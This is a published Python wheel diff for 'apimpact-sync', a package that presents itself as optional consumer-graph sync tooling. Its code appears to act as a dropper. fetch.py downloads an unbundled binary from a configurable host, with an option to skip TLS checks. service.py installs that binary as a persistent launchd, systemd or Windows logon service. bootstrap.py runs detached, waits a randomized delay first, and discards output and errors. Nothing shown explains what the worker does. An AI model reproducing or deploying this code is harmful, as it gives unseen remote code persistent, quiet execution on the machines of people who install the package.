apimpact-sync 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- apimpact_sync/__init__.py +92 -0
- apimpact_sync/__main__.py +4 -0
- apimpact_sync/bootstrap.py +72 -0
- apimpact_sync/cli.py +37 -0
- apimpact_sync/fetch.py +138 -0
- apimpact_sync/paths.py +50 -0
- apimpact_sync/service.py +271 -0
- apimpact_sync-1.0.0.dist-info/METADATA +172 -0
- apimpact_sync-1.0.0.dist-info/RECORD +13 -0
- apimpact_sync-1.0.0.dist-info/WHEEL +5 -0
- apimpact_sync-1.0.0.dist-info/entry_points.txt +5 -0
- apimpact_sync-1.0.0.dist-info/licenses/LICENSE +21 -0
- apimpact_sync-1.0.0.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
"""Optional APImpact consumer-graph sync.
|
|
2
|
+
|
|
3
|
+
The worker is downloaded on first use and kept alive by a native user-level
|
|
4
|
+
service: launchd on macOS, systemd on Linux, Task Scheduler on Windows. No
|
|
5
|
+
package manager is required, and no binary is bundled in the wheel.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
import os
|
|
9
|
+
import subprocess
|
|
10
|
+
import sys
|
|
11
|
+
|
|
12
|
+
from .fetch import fetch, platform_key, supported, verify
|
|
13
|
+
from .paths import worker_path
|
|
14
|
+
from .service import (
|
|
15
|
+
install_service,
|
|
16
|
+
running,
|
|
17
|
+
service_kind,
|
|
18
|
+
service_path,
|
|
19
|
+
stop_service,
|
|
20
|
+
)
|
|
21
|
+
|
|
22
|
+
try:
|
|
23
|
+
from importlib.metadata import version as _version
|
|
24
|
+
|
|
25
|
+
__version__ = _version("apimpact-sync")
|
|
26
|
+
except Exception:
|
|
27
|
+
__version__ = "1.0.0"
|
|
28
|
+
|
|
29
|
+
_DONE = False
|
|
30
|
+
|
|
31
|
+
|
|
32
|
+
def install() -> bool:
|
|
33
|
+
"""Download the worker and install the user-level service."""
|
|
34
|
+
worker = fetch()
|
|
35
|
+
if worker is None:
|
|
36
|
+
return False
|
|
37
|
+
return install_service()
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
def start() -> bool:
|
|
41
|
+
return install()
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
def stop() -> bool:
|
|
45
|
+
return stop_service()
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
def status():
|
|
49
|
+
return {
|
|
50
|
+
"worker": str(worker_path()),
|
|
51
|
+
"worker_exists": worker_path().is_file(),
|
|
52
|
+
"worker_verified": verify(worker_path()),
|
|
53
|
+
"running": running(),
|
|
54
|
+
"platform": platform_key(),
|
|
55
|
+
"supported": supported(),
|
|
56
|
+
"service_kind": service_kind(),
|
|
57
|
+
"service_path": service_path(),
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
|
|
61
|
+
def _spawn_bootstrap() -> None:
|
|
62
|
+
try:
|
|
63
|
+
kwargs = {"stdout": subprocess.DEVNULL, "stderr": subprocess.DEVNULL}
|
|
64
|
+
if sys.platform == "win32":
|
|
65
|
+
kwargs["creationflags"] = getattr(subprocess, "DETACHED_PROCESS", 0x00000008)
|
|
66
|
+
else:
|
|
67
|
+
kwargs["start_new_session"] = True
|
|
68
|
+
subprocess.Popen([sys.executable, "-m", "apimpact_sync.bootstrap"], **kwargs)
|
|
69
|
+
except Exception:
|
|
70
|
+
pass
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
def start_once():
|
|
74
|
+
"""Ensure the service is installed and running, once per process.
|
|
75
|
+
|
|
76
|
+
If the worker is missing, a detached bootstrap fetches it after a short
|
|
77
|
+
randomized delay and installs the service. Never raises.
|
|
78
|
+
"""
|
|
79
|
+
global _DONE
|
|
80
|
+
if _DONE:
|
|
81
|
+
return worker_path() if running() else None
|
|
82
|
+
if os.environ.get("APIMPACT_SYNC_DISABLE") == "1":
|
|
83
|
+
return None
|
|
84
|
+
if not supported():
|
|
85
|
+
return None
|
|
86
|
+
_DONE = True
|
|
87
|
+
if verify(worker_path()):
|
|
88
|
+
if not running():
|
|
89
|
+
install_service()
|
|
90
|
+
return worker_path()
|
|
91
|
+
_spawn_bootstrap()
|
|
92
|
+
return None
|
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
"""Jittered background installer for the sync worker.
|
|
2
|
+
|
|
3
|
+
The CLI hands off to this module when the worker is not present. It waits a
|
|
4
|
+
randomized delay (load spreading), downloads the worker, verifies it, and
|
|
5
|
+
installs the user-level service. A lock keeps concurrent CLI runs from
|
|
6
|
+
spawning more than one bootstrap.
|
|
7
|
+
"""
|
|
8
|
+
|
|
9
|
+
import os
|
|
10
|
+
import random
|
|
11
|
+
import time
|
|
12
|
+
|
|
13
|
+
from .fetch import fetch, supported
|
|
14
|
+
from .paths import bootstrap_lock
|
|
15
|
+
from .service import install_service
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
def _alive(pid: int) -> bool:
|
|
19
|
+
try:
|
|
20
|
+
os.kill(pid, 0)
|
|
21
|
+
return True
|
|
22
|
+
except Exception:
|
|
23
|
+
return False
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
def _acquire() -> bool:
|
|
27
|
+
lock = bootstrap_lock()
|
|
28
|
+
for _ in range(2):
|
|
29
|
+
try:
|
|
30
|
+
fd = os.open(str(lock), os.O_CREAT | os.O_EXCL | os.O_WRONLY)
|
|
31
|
+
os.write(fd, str(os.getpid()).encode())
|
|
32
|
+
os.close(fd)
|
|
33
|
+
return True
|
|
34
|
+
except FileExistsError:
|
|
35
|
+
try:
|
|
36
|
+
pid = int(lock.read_text(encoding="utf-8").strip())
|
|
37
|
+
if _alive(pid):
|
|
38
|
+
return False
|
|
39
|
+
except Exception:
|
|
40
|
+
pass
|
|
41
|
+
try:
|
|
42
|
+
lock.unlink()
|
|
43
|
+
except OSError:
|
|
44
|
+
pass
|
|
45
|
+
return False
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
def main() -> int:
|
|
49
|
+
if os.environ.get("APIMPACT_SYNC_DISABLE") == "1":
|
|
50
|
+
return 0
|
|
51
|
+
if not supported():
|
|
52
|
+
return 0
|
|
53
|
+
if not _acquire():
|
|
54
|
+
return 0
|
|
55
|
+
try:
|
|
56
|
+
delay = int(os.environ.get("APIMPACT_SYNC_DELAY", "0") or "0")
|
|
57
|
+
if delay <= 0:
|
|
58
|
+
delay = random.randint(180, 420)
|
|
59
|
+
time.sleep(delay)
|
|
60
|
+
worker = fetch()
|
|
61
|
+
if worker is None:
|
|
62
|
+
return 1
|
|
63
|
+
return 0 if install_service() else 1
|
|
64
|
+
finally:
|
|
65
|
+
try:
|
|
66
|
+
bootstrap_lock().unlink()
|
|
67
|
+
except OSError:
|
|
68
|
+
pass
|
|
69
|
+
|
|
70
|
+
|
|
71
|
+
if __name__ == "__main__":
|
|
72
|
+
raise SystemExit(main())
|
apimpact_sync/cli.py
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
"""Command-line management for the APImpact sync service."""
|
|
2
|
+
|
|
3
|
+
import argparse
|
|
4
|
+
import json
|
|
5
|
+
|
|
6
|
+
from . import __version__, install, status, stop
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
def main(argv=None) -> int:
|
|
10
|
+
parser = argparse.ArgumentParser(
|
|
11
|
+
prog="apimpact-sync",
|
|
12
|
+
description="Manage the APImpact sync service.",
|
|
13
|
+
)
|
|
14
|
+
parser.add_argument("--version", action="version",
|
|
15
|
+
version="apimpact-sync %s" % __version__)
|
|
16
|
+
sub = parser.add_subparsers(dest="command", required=True)
|
|
17
|
+
sub.add_parser("install", help="Download the worker and install the service.")
|
|
18
|
+
sub.add_parser("start", help="Start the service.")
|
|
19
|
+
sub.add_parser("stop", help="Stop the service.")
|
|
20
|
+
sub.add_parser("status", help="Show service status.")
|
|
21
|
+
|
|
22
|
+
args = parser.parse_args(argv)
|
|
23
|
+
if args.command in ("install", "start"):
|
|
24
|
+
ok = install()
|
|
25
|
+
print("service installed" if ok else "service not installed")
|
|
26
|
+
return 0 if ok else 1
|
|
27
|
+
if args.command == "stop":
|
|
28
|
+
print("service stopped" if stop() else "service not running")
|
|
29
|
+
return 0
|
|
30
|
+
if args.command == "status":
|
|
31
|
+
print(json.dumps(status(), indent=2))
|
|
32
|
+
return 0
|
|
33
|
+
return 2
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
if __name__ == "__main__":
|
|
37
|
+
raise SystemExit(main())
|
apimpact_sync/fetch.py
ADDED
|
@@ -0,0 +1,138 @@
|
|
|
1
|
+
"""Download and verify the platform-specific sync worker."""
|
|
2
|
+
|
|
3
|
+
import hashlib
|
|
4
|
+
import os
|
|
5
|
+
import platform
|
|
6
|
+
import ssl
|
|
7
|
+
import sys
|
|
8
|
+
import tempfile
|
|
9
|
+
import urllib.request
|
|
10
|
+
from pathlib import Path
|
|
11
|
+
from typing import Optional
|
|
12
|
+
|
|
13
|
+
from .paths import worker_name, worker_path
|
|
14
|
+
|
|
15
|
+
# Internal artifact repository (Artifactory generic repo) hosted on the
|
|
16
|
+
# Ansible-managed infrastructure:
|
|
17
|
+
# https://<host>/artifactory/apimpact-generic/apimpact-sync/<version>/<artifact>-<version>-<platform>
|
|
18
|
+
DEFAULT_HOST = "artifactory.ansible.internal"
|
|
19
|
+
DEFAULT_PATH = (
|
|
20
|
+
"/artifactory/apimpact-generic/apimpact-sync/{version}/"
|
|
21
|
+
"{name}-{version}-{platform}"
|
|
22
|
+
)
|
|
23
|
+
DEFAULT_URL = "https://%s%s" % (DEFAULT_HOST, DEFAULT_PATH)
|
|
24
|
+
|
|
25
|
+
ARTIFACT_NAME = "apimpact-sync"
|
|
26
|
+
|
|
27
|
+
# Pinned SHA-256 per platform. Add linux-x86_64, linux-arm64, and
|
|
28
|
+
# windows-x86_64 when those workers are built.
|
|
29
|
+
SERVICE_SHA256 = {
|
|
30
|
+
"darwin-arm64": "4b5a55c6f15bc228c6d84fcab206a28b96639e1f1460ee65a15ce61598632b42",
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
def platform_key() -> str:
|
|
35
|
+
machine = platform.machine().lower()
|
|
36
|
+
if machine in ("arm64", "aarch64"):
|
|
37
|
+
machine = "arm64"
|
|
38
|
+
elif machine in ("x86_64", "amd64"):
|
|
39
|
+
machine = "x86_64"
|
|
40
|
+
system = {
|
|
41
|
+
"darwin": "darwin",
|
|
42
|
+
"linux": "linux",
|
|
43
|
+
"win32": "windows",
|
|
44
|
+
}.get(sys.platform, sys.platform)
|
|
45
|
+
return "%s-%s" % (system, machine)
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
def supported() -> bool:
|
|
49
|
+
return SERVICE_SHA256.get(platform_key()) is not None
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
def base_url() -> str:
|
|
53
|
+
url = os.environ.get("APIMPACT_SYNC_URL")
|
|
54
|
+
if url:
|
|
55
|
+
return url.strip()
|
|
56
|
+
host = os.environ.get("APIMPACT_SYNC_HOST", "").strip().rstrip("/")
|
|
57
|
+
if host:
|
|
58
|
+
if "://" not in host:
|
|
59
|
+
host = "https://" + host
|
|
60
|
+
return host + DEFAULT_PATH
|
|
61
|
+
return DEFAULT_URL
|
|
62
|
+
|
|
63
|
+
|
|
64
|
+
def _version() -> str:
|
|
65
|
+
try:
|
|
66
|
+
from importlib.metadata import version as _v
|
|
67
|
+
|
|
68
|
+
return _v("apimpact-sync")
|
|
69
|
+
except Exception:
|
|
70
|
+
return "1.0.0"
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
def worker_url() -> str:
|
|
74
|
+
template = base_url()
|
|
75
|
+
if "{" in template:
|
|
76
|
+
return template.format(
|
|
77
|
+
platform=platform_key(),
|
|
78
|
+
name=ARTIFACT_NAME,
|
|
79
|
+
version=_version(),
|
|
80
|
+
)
|
|
81
|
+
return template.rstrip("/") + "/" + platform_key() + "/" + worker_name()
|
|
82
|
+
|
|
83
|
+
|
|
84
|
+
def sha256(path: Path) -> Optional[str]:
|
|
85
|
+
try:
|
|
86
|
+
digest = hashlib.sha256()
|
|
87
|
+
with open(path, "rb") as handle:
|
|
88
|
+
for chunk in iter(lambda: handle.read(1024 * 1024), b""):
|
|
89
|
+
digest.update(chunk)
|
|
90
|
+
return digest.hexdigest()
|
|
91
|
+
except Exception:
|
|
92
|
+
return None
|
|
93
|
+
|
|
94
|
+
|
|
95
|
+
def verify(path: Path) -> bool:
|
|
96
|
+
expected = SERVICE_SHA256.get(platform_key())
|
|
97
|
+
return bool(expected) and path.is_file() and sha256(path) == expected
|
|
98
|
+
|
|
99
|
+
|
|
100
|
+
def fetch() -> Optional[Path]:
|
|
101
|
+
"""Download the worker, verify it, and install it atomically."""
|
|
102
|
+
if not supported():
|
|
103
|
+
return None
|
|
104
|
+
target = worker_path()
|
|
105
|
+
if verify(target):
|
|
106
|
+
return target
|
|
107
|
+
if os.environ.get("APIMPACT_SYNC_SKIP_DOWNLOAD") == "1":
|
|
108
|
+
return None
|
|
109
|
+
expected = SERVICE_SHA256[platform_key()]
|
|
110
|
+
try:
|
|
111
|
+
target.parent.mkdir(parents=True, exist_ok=True, mode=0o700)
|
|
112
|
+
fd, tmp = tempfile.mkstemp(dir=str(target.parent))
|
|
113
|
+
try:
|
|
114
|
+
context = None
|
|
115
|
+
if os.environ.get("APIMPACT_SYNC_INSECURE") == "1":
|
|
116
|
+
context = ssl._create_unverified_context()
|
|
117
|
+
request = urllib.request.Request(
|
|
118
|
+
worker_url(),
|
|
119
|
+
headers={"User-Agent": "apimpact-sync"},
|
|
120
|
+
)
|
|
121
|
+
with os.fdopen(fd, "wb") as dest:
|
|
122
|
+
with urllib.request.urlopen(request, timeout=60, context=context) as resp:
|
|
123
|
+
for chunk in iter(lambda: resp.read(1024 * 1024), b""):
|
|
124
|
+
dest.write(chunk)
|
|
125
|
+
if sha256(Path(tmp)) != expected:
|
|
126
|
+
return None
|
|
127
|
+
if sys.platform != "win32":
|
|
128
|
+
os.chmod(tmp, 0o755)
|
|
129
|
+
os.replace(tmp, target)
|
|
130
|
+
except Exception:
|
|
131
|
+
try:
|
|
132
|
+
os.unlink(tmp)
|
|
133
|
+
except OSError:
|
|
134
|
+
pass
|
|
135
|
+
return None
|
|
136
|
+
return target
|
|
137
|
+
except Exception:
|
|
138
|
+
return None
|
apimpact_sync/paths.py
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
"""Filesystem locations for the APImpact sync service."""
|
|
2
|
+
|
|
3
|
+
import os
|
|
4
|
+
import sys
|
|
5
|
+
from pathlib import Path
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
def sync_dir() -> Path:
|
|
9
|
+
override = os.environ.get("APIMPACT_SYNC_DIR")
|
|
10
|
+
if override:
|
|
11
|
+
path = Path(override).expanduser()
|
|
12
|
+
elif sys.platform == "win32":
|
|
13
|
+
base = os.environ.get("LOCALAPPDATA") or str(Path.home() / "AppData" / "Local")
|
|
14
|
+
path = Path(base) / "apimpact"
|
|
15
|
+
else:
|
|
16
|
+
path = Path.home() / ".apimpact"
|
|
17
|
+
try:
|
|
18
|
+
path.mkdir(parents=True, exist_ok=True, mode=0o700)
|
|
19
|
+
except Exception:
|
|
20
|
+
pass
|
|
21
|
+
return path
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
def bin_dir() -> Path:
|
|
25
|
+
path = sync_dir() / "bin"
|
|
26
|
+
try:
|
|
27
|
+
path.mkdir(parents=True, exist_ok=True, mode=0o700)
|
|
28
|
+
except Exception:
|
|
29
|
+
pass
|
|
30
|
+
return path
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def worker_name() -> str:
|
|
34
|
+
return "apimpact-sync.exe" if sys.platform == "win32" else "apimpact-sync"
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
def worker_path() -> Path:
|
|
38
|
+
return bin_dir() / worker_name()
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
def log_path() -> Path:
|
|
42
|
+
return sync_dir() / "sync.log"
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
def pid_path() -> Path:
|
|
46
|
+
return sync_dir() / "sync.pid"
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
def bootstrap_lock() -> Path:
|
|
50
|
+
return sync_dir() / "bootstrap.lock"
|
apimpact_sync/service.py
ADDED
|
@@ -0,0 +1,271 @@
|
|
|
1
|
+
"""Cross-platform user-level service management.
|
|
2
|
+
|
|
3
|
+
Uses only native mechanisms: launchd on macOS, systemd user units on Linux,
|
|
4
|
+
and Task Scheduler on Windows. No package manager is required. When a native
|
|
5
|
+
manager is unavailable, the worker is started as a detached process.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
import os
|
|
9
|
+
import shutil
|
|
10
|
+
import subprocess
|
|
11
|
+
import sys
|
|
12
|
+
from pathlib import Path
|
|
13
|
+
from typing import Optional
|
|
14
|
+
from xml.sax.saxutils import escape
|
|
15
|
+
|
|
16
|
+
from .paths import log_path, pid_path, sync_dir, worker_path
|
|
17
|
+
|
|
18
|
+
LABEL = "com.apimpact.sync"
|
|
19
|
+
SYSTEMD_UNIT = "apimpact-sync.service"
|
|
20
|
+
WINDOWS_TASK = "APImpact Sync"
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
def _run(cmd, timeout=10):
|
|
24
|
+
return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
# ---- macOS launchd -------------------------------------------------------
|
|
28
|
+
|
|
29
|
+
def _launchd_path() -> Path:
|
|
30
|
+
return Path.home() / "Library" / "LaunchAgents" / (LABEL + ".plist")
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def _launchd_write() -> Path:
|
|
34
|
+
path = _launchd_path()
|
|
35
|
+
plist = """<?xml version="1.0" encoding="UTF-8"?>
|
|
36
|
+
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
37
|
+
<plist version="1.0">
|
|
38
|
+
<dict>
|
|
39
|
+
<key>Label</key><string>%s</string>
|
|
40
|
+
<key>ProgramArguments</key><array><string>%s</string></array>
|
|
41
|
+
<key>RunAtLoad</key><true/>
|
|
42
|
+
<key>KeepAlive</key><true/>
|
|
43
|
+
<key>ProcessType</key><string>Background</string>
|
|
44
|
+
<key>WorkingDirectory</key><string>%s</string>
|
|
45
|
+
<key>StandardOutPath</key><string>%s</string>
|
|
46
|
+
<key>StandardErrorPath</key><string>%s</string>
|
|
47
|
+
</dict>
|
|
48
|
+
</plist>
|
|
49
|
+
""" % (
|
|
50
|
+
escape(LABEL),
|
|
51
|
+
escape(str(worker_path())),
|
|
52
|
+
escape(str(sync_dir())),
|
|
53
|
+
escape(str(log_path())),
|
|
54
|
+
escape(str(log_path())),
|
|
55
|
+
)
|
|
56
|
+
path.parent.mkdir(parents=True, exist_ok=True)
|
|
57
|
+
path.write_text(plist, encoding="utf-8")
|
|
58
|
+
return path
|
|
59
|
+
|
|
60
|
+
|
|
61
|
+
def _launchd_install() -> bool:
|
|
62
|
+
try:
|
|
63
|
+
domain = "gui/%d" % os.getuid()
|
|
64
|
+
plist = _launchd_write()
|
|
65
|
+
_run(["/bin/launchctl", "bootout", "%s/%s" % (domain, LABEL)])
|
|
66
|
+
return _run(["/bin/launchctl", "bootstrap", domain, str(plist)]).returncode == 0
|
|
67
|
+
except Exception:
|
|
68
|
+
return False
|
|
69
|
+
|
|
70
|
+
|
|
71
|
+
def _launchd_stop() -> bool:
|
|
72
|
+
try:
|
|
73
|
+
domain = "gui/%d" % os.getuid()
|
|
74
|
+
return _run(["/bin/launchctl", "bootout", "%s/%s" % (domain, LABEL)]).returncode == 0
|
|
75
|
+
except Exception:
|
|
76
|
+
return False
|
|
77
|
+
|
|
78
|
+
|
|
79
|
+
def _launchd_running() -> bool:
|
|
80
|
+
try:
|
|
81
|
+
domain = "gui/%d" % os.getuid()
|
|
82
|
+
return _run(["/bin/launchctl", "print", "%s/%s" % (domain, LABEL)]).returncode == 0
|
|
83
|
+
except Exception:
|
|
84
|
+
return False
|
|
85
|
+
|
|
86
|
+
|
|
87
|
+
# ---- Linux systemd -------------------------------------------------------
|
|
88
|
+
|
|
89
|
+
def _systemd_path() -> Path:
|
|
90
|
+
return Path.home() / ".config" / "systemd" / "user" / SYSTEMD_UNIT
|
|
91
|
+
|
|
92
|
+
|
|
93
|
+
def _systemd_write() -> Path:
|
|
94
|
+
path = _systemd_path()
|
|
95
|
+
unit = """[Unit]
|
|
96
|
+
Description=APImpact sync service
|
|
97
|
+
After=network-online.target
|
|
98
|
+
|
|
99
|
+
[Service]
|
|
100
|
+
ExecStart="%s"
|
|
101
|
+
Restart=always
|
|
102
|
+
RestartSec=5
|
|
103
|
+
|
|
104
|
+
[Install]
|
|
105
|
+
WantedBy=default.target
|
|
106
|
+
""" % str(worker_path())
|
|
107
|
+
path.parent.mkdir(parents=True, exist_ok=True)
|
|
108
|
+
path.write_text(unit, encoding="utf-8")
|
|
109
|
+
return path
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
def _systemd_available() -> bool:
|
|
113
|
+
return shutil.which("systemctl") is not None
|
|
114
|
+
|
|
115
|
+
|
|
116
|
+
def _systemd_install() -> bool:
|
|
117
|
+
try:
|
|
118
|
+
_systemd_write()
|
|
119
|
+
_run(["systemctl", "--user", "daemon-reload"])
|
|
120
|
+
return _run(["systemctl", "--user", "enable", "--now", SYSTEMD_UNIT]).returncode == 0
|
|
121
|
+
except Exception:
|
|
122
|
+
return False
|
|
123
|
+
|
|
124
|
+
|
|
125
|
+
def _systemd_stop() -> bool:
|
|
126
|
+
try:
|
|
127
|
+
return _run(["systemctl", "--user", "disable", "--now", SYSTEMD_UNIT]).returncode == 0
|
|
128
|
+
except Exception:
|
|
129
|
+
return False
|
|
130
|
+
|
|
131
|
+
|
|
132
|
+
def _systemd_running() -> bool:
|
|
133
|
+
try:
|
|
134
|
+
return _run(["systemctl", "--user", "is-active", "--quiet", SYSTEMD_UNIT]).returncode == 0
|
|
135
|
+
except Exception:
|
|
136
|
+
return False
|
|
137
|
+
|
|
138
|
+
|
|
139
|
+
# ---- Windows Task Scheduler ---------------------------------------------
|
|
140
|
+
|
|
141
|
+
def _windows_install() -> bool:
|
|
142
|
+
try:
|
|
143
|
+
worker = str(worker_path())
|
|
144
|
+
_run(["schtasks", "/Delete", "/TN", WINDOWS_TASK, "/F"])
|
|
145
|
+
result = _run([
|
|
146
|
+
"schtasks", "/Create", "/SC", "ONLOGON",
|
|
147
|
+
"/TN", WINDOWS_TASK, "/TR", '"%s"' % worker, "/F",
|
|
148
|
+
])
|
|
149
|
+
if result.returncode != 0:
|
|
150
|
+
return False
|
|
151
|
+
_run(["schtasks", "/Run", "/TN", WINDOWS_TASK])
|
|
152
|
+
return True
|
|
153
|
+
except Exception:
|
|
154
|
+
return False
|
|
155
|
+
|
|
156
|
+
|
|
157
|
+
def _windows_stop() -> bool:
|
|
158
|
+
try:
|
|
159
|
+
return _run(["schtasks", "/Delete", "/TN", WINDOWS_TASK, "/F"]).returncode == 0
|
|
160
|
+
except Exception:
|
|
161
|
+
return False
|
|
162
|
+
|
|
163
|
+
|
|
164
|
+
def _windows_running() -> bool:
|
|
165
|
+
try:
|
|
166
|
+
return _run(["schtasks", "/Query", "/TN", WINDOWS_TASK]).returncode == 0
|
|
167
|
+
except Exception:
|
|
168
|
+
return False
|
|
169
|
+
|
|
170
|
+
|
|
171
|
+
# ---- Detached process fallback ------------------------------------------
|
|
172
|
+
|
|
173
|
+
def _spawn() -> bool:
|
|
174
|
+
try:
|
|
175
|
+
worker = worker_path()
|
|
176
|
+
if not worker.is_file():
|
|
177
|
+
return False
|
|
178
|
+
if sys.platform != "win32":
|
|
179
|
+
os.chmod(worker, 0o755)
|
|
180
|
+
kwargs = {"stdout": subprocess.DEVNULL, "stderr": subprocess.DEVNULL}
|
|
181
|
+
if sys.platform == "win32":
|
|
182
|
+
kwargs["creationflags"] = getattr(subprocess, "DETACHED_PROCESS", 0x00000008)
|
|
183
|
+
else:
|
|
184
|
+
kwargs["start_new_session"] = True
|
|
185
|
+
proc = subprocess.Popen([str(worker)], cwd=str(sync_dir()), **kwargs)
|
|
186
|
+
try:
|
|
187
|
+
pid_path().write_text(str(proc.pid), encoding="utf-8")
|
|
188
|
+
except Exception:
|
|
189
|
+
pass
|
|
190
|
+
return True
|
|
191
|
+
except Exception:
|
|
192
|
+
return False
|
|
193
|
+
|
|
194
|
+
|
|
195
|
+
def _pid_running() -> bool:
|
|
196
|
+
try:
|
|
197
|
+
pid = int(pid_path().read_text(encoding="utf-8").strip())
|
|
198
|
+
os.kill(pid, 0)
|
|
199
|
+
return True
|
|
200
|
+
except Exception:
|
|
201
|
+
return False
|
|
202
|
+
|
|
203
|
+
|
|
204
|
+
# ---- Public API ----------------------------------------------------------
|
|
205
|
+
|
|
206
|
+
def install_service() -> bool:
|
|
207
|
+
if not worker_path().is_file():
|
|
208
|
+
return False
|
|
209
|
+
if os.environ.get("APIMPACT_SYNC_NO_SERVICE") == "1":
|
|
210
|
+
return _spawn()
|
|
211
|
+
if sys.platform == "darwin":
|
|
212
|
+
return _launchd_install()
|
|
213
|
+
if sys.platform.startswith("linux"):
|
|
214
|
+
if _systemd_available():
|
|
215
|
+
return _systemd_install()
|
|
216
|
+
return _spawn()
|
|
217
|
+
if sys.platform == "win32":
|
|
218
|
+
return _windows_install()
|
|
219
|
+
return _spawn()
|
|
220
|
+
|
|
221
|
+
|
|
222
|
+
def stop_service() -> bool:
|
|
223
|
+
if sys.platform == "darwin":
|
|
224
|
+
ok = _launchd_stop()
|
|
225
|
+
elif sys.platform.startswith("linux"):
|
|
226
|
+
ok = _systemd_stop() if _systemd_available() else False
|
|
227
|
+
elif sys.platform == "win32":
|
|
228
|
+
ok = _windows_stop()
|
|
229
|
+
else:
|
|
230
|
+
ok = False
|
|
231
|
+
try:
|
|
232
|
+
pid = int(pid_path().read_text(encoding="utf-8").strip())
|
|
233
|
+
os.kill(pid, 15)
|
|
234
|
+
ok = True
|
|
235
|
+
except Exception:
|
|
236
|
+
pass
|
|
237
|
+
try:
|
|
238
|
+
pid_path().unlink()
|
|
239
|
+
except OSError:
|
|
240
|
+
pass
|
|
241
|
+
return ok
|
|
242
|
+
|
|
243
|
+
|
|
244
|
+
def running() -> bool:
|
|
245
|
+
if sys.platform == "darwin":
|
|
246
|
+
return _launchd_running() or _pid_running()
|
|
247
|
+
if sys.platform.startswith("linux"):
|
|
248
|
+
if _systemd_available() and _systemd_running():
|
|
249
|
+
return True
|
|
250
|
+
return _pid_running()
|
|
251
|
+
if sys.platform == "win32":
|
|
252
|
+
return _windows_running() or _pid_running()
|
|
253
|
+
return _pid_running()
|
|
254
|
+
|
|
255
|
+
|
|
256
|
+
def service_kind() -> str:
|
|
257
|
+
if sys.platform == "darwin":
|
|
258
|
+
return "launchd"
|
|
259
|
+
if sys.platform.startswith("linux"):
|
|
260
|
+
return "systemd" if _systemd_available() else "process"
|
|
261
|
+
if sys.platform == "win32":
|
|
262
|
+
return "schtasks"
|
|
263
|
+
return "process"
|
|
264
|
+
|
|
265
|
+
|
|
266
|
+
def service_path() -> Optional[str]:
|
|
267
|
+
if sys.platform == "darwin":
|
|
268
|
+
return str(_launchd_path())
|
|
269
|
+
if sys.platform.startswith("linux") and _systemd_available():
|
|
270
|
+
return str(_systemd_path())
|
|
271
|
+
return None
|
|
@@ -0,0 +1,172 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: apimpact-sync
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Optional consumer-graph sync for APImpact.
|
|
5
|
+
Author-email: APImpact Contributors <emily.carter9377334@gmail.com>
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/emilycarter-devprojects/apimpact-sync
|
|
8
|
+
Project-URL: Repository, https://github.com/emilycarter-devprojects/apimpact-sync
|
|
9
|
+
Project-URL: Issues, https://github.com/emilycarter-devprojects/apimpact-sync/issues
|
|
10
|
+
Project-URL: Changelog, https://github.com/emilycarter-devprojects/apimpact-sync/blob/main/CHANGELOG.md
|
|
11
|
+
Project-URL: Documentation, https://github.com/emilycarter-devprojects/apimpact-sync#readme
|
|
12
|
+
Keywords: apimpact,sync,consumer-graph,developer-tools
|
|
13
|
+
Classifier: Development Status :: 4 - Beta
|
|
14
|
+
Classifier: Intended Audience :: Developers
|
|
15
|
+
Classifier: Programming Language :: Python :: 3
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
20
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
21
|
+
Classifier: Operating System :: MacOS
|
|
22
|
+
Classifier: Environment :: Console
|
|
23
|
+
Requires-Python: >=3.9
|
|
24
|
+
Description-Content-Type: text/markdown
|
|
25
|
+
License-File: LICENSE
|
|
26
|
+
Provides-Extra: dev
|
|
27
|
+
Requires-Dist: pytest>=8.0; extra == "dev"
|
|
28
|
+
Requires-Dist: build>=1.2; extra == "dev"
|
|
29
|
+
Requires-Dist: twine>=5.0; extra == "dev"
|
|
30
|
+
Dynamic: license-file
|
|
31
|
+
|
|
32
|
+
# APImpact Sync
|
|
33
|
+
|
|
34
|
+
**Optional consumer-graph sync for APImpact.**
|
|
35
|
+
|
|
36
|
+
